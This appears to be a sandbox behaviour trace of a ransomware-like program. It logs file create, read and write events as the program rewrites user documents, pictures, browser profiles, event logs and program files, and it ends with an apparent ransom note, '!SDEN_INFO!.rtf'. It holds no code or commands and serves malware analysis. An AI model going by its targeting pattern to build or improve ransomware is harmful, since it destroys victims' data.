File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\zZn5.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\zZn5.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\zZn5.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\zZn5.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\zZn5.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage.sqlite, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage.sqlite, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\6ZaKO22zBTdl.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\6ZaKO22zBTdl.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\6ZaKO22zBTdl.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\6ZaKO22zBTdl.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\6ZaKO22zBTdl.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\pmrx0XMNlqLx.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\pmrx0XMNlqLx.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\pmrx0XMNlqLx.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\pmrx0XMNlqLx.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 61440, size_out = 61440	34	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 8192, size_out = 8192	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 16384, size_out = 16384	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 17800	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 61440	34	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended.mzz, size = 8192	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 9608	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 61440	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 8192	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\desktop.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\desktop.ini, size = 174, size_out = 174	1	Fn Data
File	Write	filename = C:\Program Files\desktop.ini, size = 1590	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\keytool.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\keytool.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\keytool.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\keytool.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\Xusage.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\Xusage.txt, size = 1423, size_out = 1423	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\Xusage.txt, size = 2839	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\classlist, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\classlist, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\classlist, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\classlist, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\classlist, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_es.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_es.properties, size = 3600, size_out = 3600	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_es.properties, size = 5016	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\localedata.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\localedata.jar, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\localedata.jar, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\localedata.jar, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\localedata.jar, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\localedata.jar, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.properties.src, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.properties.src, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.properties.src, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.properties.src, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\cursors.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\cursors.properties, size = 1280, size_out = 1280	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\cursors.properties, size = 2696	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\jce.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jce.jar, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jce.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jce.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jce.jar, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\management.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\management.properties, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\management.properties, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\management.properties, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\blacklist, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\blacklist, size = 4054, size_out = 4054	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\blacklist, size = 5470	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzmappings, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzmappings, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzmappings, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\tzmappings, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\application.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\application.ini, size = 718, size_out = 718	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\application.ini, size = 2134	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\firefox.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\firefox.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\firefox.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_2x.png, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\platform.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\platform.ini, size = 166, size_out = 166	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\platform.ini, size = 1582	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\updater.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\updater.ini, size = 1245, size_out = 1245	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\updater.ini, size = 2661	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\CampaignCatalog.json, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\CampaignCatalog.json, size = 38, size_out = 38	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\CampaignCatalog.json, size = 1454	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-DE\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-DE\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-DE\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-DE\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-DE\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-NZ\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-NZ\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-NZ\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-NZ\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-NZ\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-XL\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-XL\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-XL\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-XL\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-XL\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\he-IL\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\he-IL\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\he-IL\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\he-IL\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\he-IL\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lt-LT\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lt-LT\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\!SDEN_INFO!.rtf, size = 16384	1	Fn Data
